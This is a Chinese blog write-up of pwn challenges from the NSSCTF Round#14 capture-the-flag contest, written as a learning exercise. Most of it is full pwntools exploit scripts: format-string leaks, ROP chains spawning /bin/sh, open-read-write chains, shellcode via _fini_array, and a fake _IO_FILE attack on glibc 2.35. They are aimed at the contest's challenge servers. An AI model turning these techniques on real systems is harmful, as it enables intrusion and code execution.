NSSCTF Round#14 PWN专项 WP

T1d 2023-7-30 1,668 7/30

起来就看见今天是30号,还好没错过早上10点的比赛,出题人说是basic,“简单题”🥵🥵🥵🥵🥵🥵

那就顺便再水一篇博客嘿嘿

love

一道签到题,堪堪抢到一个二血。直接给了个fmt,修改一下判断条件同时泄露libc地址和canary就好了。

from pwn import *

# p = process('./pwn')
p = remote('node5.anna.nssctf.cn', 28615)
elf = ELF('./pwn')
lib = elf.libc

p.recvuntil(b'Toka')
payload = b'%8c%9$hhn %15$p %17$p'
# gdb .attach(p)
p.sendline(payload)
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
print(hex(canary))
p.recvuntil(b'0x')
base_addr = int(p.recv(12), 16) - 243 - lib.sym['__libc_start_main']
print(hex(base_addr))
system_addr = base_addr + lib.sym['system']
bin_sh_addr = base_addr + next(lib.search(b'/bin/sh'))
pop = 0x00000000004013f3

payload = b'a' * 0x28 + p64(canary) + p64(0) + p64(pop + 1) + p64(pop) + p64(bin_sh_addr) + p64(system_addr)
# gdb.attach(p)
p.sendline(payload)

p.interactive()

rbp

改返回地址为readrbpbss上的地址,第一次栈迁移泄露libc,第二次同理执行orw即可

from pwn import *

# context.log_level = 'debug'
p = remote('node1.anna.nssctf.cn', 28033)
# p = process('./rbp')
elf = ELF('./rbp')
lib = elf.libc

vuln_addr = 0x401270
leave_ret = 0x4012BF

p.recvuntil(b'it')
payload = p64(elf.got['read']) + b'a' * 0x208 + p64(0x404500) + p64(0x401292)
p.send(payload)
pause()
pop_rdi = 0x0000000000401353
payload = p64(pop_rdi) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(0x4012EE) + p64(0x404500) + p64(0x401292)
payload = payload.ljust(0x210) + p64(0x4042e8) + p64(leave_ret)
p.send(payload)

base_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) - lib.sym['read']
print(hex(base_addr))
open_addr = base_addr + lib.sym['open']
read_addr = base_addr + lib.sym['read']
write_addr = base_addr + lib.sym['write']
syscall_addr = base_addr + 0x00000000000630a9
pop_rax = base_addr + 0x0000000000036174
pop_rdi = base_addr + 0x0000000000023b6a
pop_rsi = base_addr + 0x000000000002601f
pop_rdx = base_addr + 0x0000000000142c92

orw = b'./flag\00\00'
orw += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(0x4042f0) + p64(pop_rsi) + p64(0) + p64(syscall_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(0x404600) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(0x404600) + p64(pop_rdx) + p64(0x100) + p64(write_addr)

payload = orw.ljust(0x210) + p64(0x4042f0) + p64(leave_ret)
pause()
p.sendline(payload)


p.interactive()

xor

蚌埠住了,今晚才出,基础太差了居然不知道可以打_fini_array,还是一步步动调exit才找到这个call调用,那接下来就简单了,先改flag实现不断任意地址写,然后在bss上随便找个地方写shellcode,再改_fini_array为shellcode地址,改flag为正数正常结束就会执行shellcode

from pwn import *

context.arch = 'amd64'
p = process('./pwn')
elf = ELF('./pwn')
lib = elf.libc

def change(addr, off):
    p.recvuntil(b':')
    p.sendline(str(hex(addr))[2:].encode())
    p.recvuntil(b':')
    p.sendline(str(hex(off))[2:].encode())

change(0x600BCF, 0xff)

bss_addr = 0x600c00

shellcode = asm(shellcraft.sh())
print(shellcode)
for i in shellcode:
    change(bss_addr, i)
    bss_addr += 1
    
change(0x600970, 0x10)
change(0x600971, 0x6)
change(0x600972, 0x40)
change(0x600971, 0xc)
change(0x600972, 0x60)

change(0x600BCF, 0xff)

p.interactive()

read_file

看xor没血了就跑来文件读取了,抢到二血嘿嘿🤤🤤🤤(然后xor没做出来😵😵)首先由于scanf会下一位置零而下一位是fd,那我们先读取一个正常的8字节长度的文件,此时程序会file_flag置1,同时fd还是正常值,接下来我们继续去load文件,这次我们利用flag字符串会直接退出load函数因此我们用./flag\00\00填满就行(这里后面有用)。接下来我们用-20绕过read的size判断然后构造栈溢出回到load函数中open函数的位置,由于前面我们已经将flag写进去了,这里会直接打开flag文件,芜湖,接下来再将返回地址改成start重新开启程序,此时已经打开flag文件直接走正常程序流程去read_file就好了。

from pwn import *

# context.log_level = 'debug'
p = process('./pwn')
# p = remote('node3.anna.nssctf.cn', 28272)
elf = ELF('./pwn')
lib = elf.libc

def choice(id):
    p.recvuntil(b'>>')
    p.sendline(id)

def listfile():
    choice(b'0')
    
def load(file):
    choice(b'1')
    p.recvuntil(b':')
    p.send(file)
    
def show(len):
    choice(b'2')
    p.recvuntil(b':')
    p.sendline(len)
   
load(b'.profile')
load(b'./flag\00\00')
show(b'-20')
payload = b'a' * 8 + p64(0x401493) + p64(0) + p64(0x4011D0)
p.send(payload)

show(b'100')

p.interactive()

girlfriend

没有free,glibc2.35,还开了沙盒,add和edit功能有数组溢出,add有栈溢出,add只有3次,show只有一次,edit之后直接执行exit函数。

很明显,首先利用三次add和一次show实现修改top_chunk的size、free掉top_chunk、利用unsortedbin泄露libc地址,然后利用唯一一次edit修改_IO_2_1_stdout_劫持exit执行orw

from pwn import *

# context.terminal = ['tmux', 'sp', '-h']
# p = process('./pwn')
p = remote('node1.anna.nssctf.cn', 29000)
elf = ELF('./pwn')
lib = elf.libc

def choice(id):
    p.recvuntil(b':')
    p.sendline(id)
    
def add(id, size, mess):
    choice(b'1')
    p.recvuntil(b':')
    p.sendline(id)
    p.recvuntil(b':')
    p.sendline(size)
    p.recvuntil(b':')
    p.send(mess)
    
def show(id):
    choice(b'2')
    p.recvuntil(b':')
    p.sendline(id)
    
def edit(id, mess):
    choice(b'4')
    p.recvuntil(b':')
    p.sendline(id)
    p.recvuntil(b':')
    p.send(mess)
    
    
def hexs(num):
    return str(num).encode()    

add(b'0', hexs(0x48), b'a' * 0x48 + p64(0x1061))
add(b'4', hexs(0x2000), b'a')
add(b'2', hexs(0x100), b'a' * 9)
show(b'2')
base_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) - 2204513
print(hex(base_addr))

def li(addr):
    return base_addr + addr

pop_rax = li(0x0000000000045eb0)
pop_rdi = li(0x000000000002a3e5)
pop_rsi = li(0x0000000000126101)
pop_rdx_r12 = li(0x000000000011f497)
read_addr = li(lib.sym['read'])
write_addr = li(lib.sym['write'])
setcontext_addr = li(lib.sym['setcontext'])
stdout_addr = li(lib.sym['_IO_2_1_stdout_'])
syscall_ret = li(0x0000000000091396)
flag_addr = stdout_addr + 280 + 0x30
orw_addr = flag_addr + 8
bss_addr = base_addr + 0x21b000

orw = b'/flag\00\00\00' + p64(orw_addr)
orw += p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr + 0xc8) + p64(pop_rsi) + p64(0) + p64(syscall_ret)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx_r12) + p64(0x100) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx_r12) + p64(0x100) + p64(0) + p64(write_addr) + b'/flag\00\00\00'

fake_io_addr = stdout_addr
fake_IO_FILE = p64(0) * 8
fake_IO_FILE += p64(1) + p64(2)
fake_IO_FILE += p64(orw_addr - 0xa0)
fake_IO_FILE += p64(setcontext_addr + 61)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(base_addr + 0x21b000)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(base_addr + 0x2160c0 + 0x30)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE += b'a' * 0x30 + orw

edit(b'-8', fake_IO_FILE)

p.interactive()

 

写在最后

还是太菜了哎,xor没做出来(复现出来了,蠢死了!!!),最后那个堆都没来得及看(house of orange + house of cat + setcontext),还上错号了,哭死,还是回去继续学习再接再厉🥺🥺🥺🥺🥺🥺

- THE END -
Tag:

T1d

7月11日18:34

最后修改:2024年7月11日
2

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论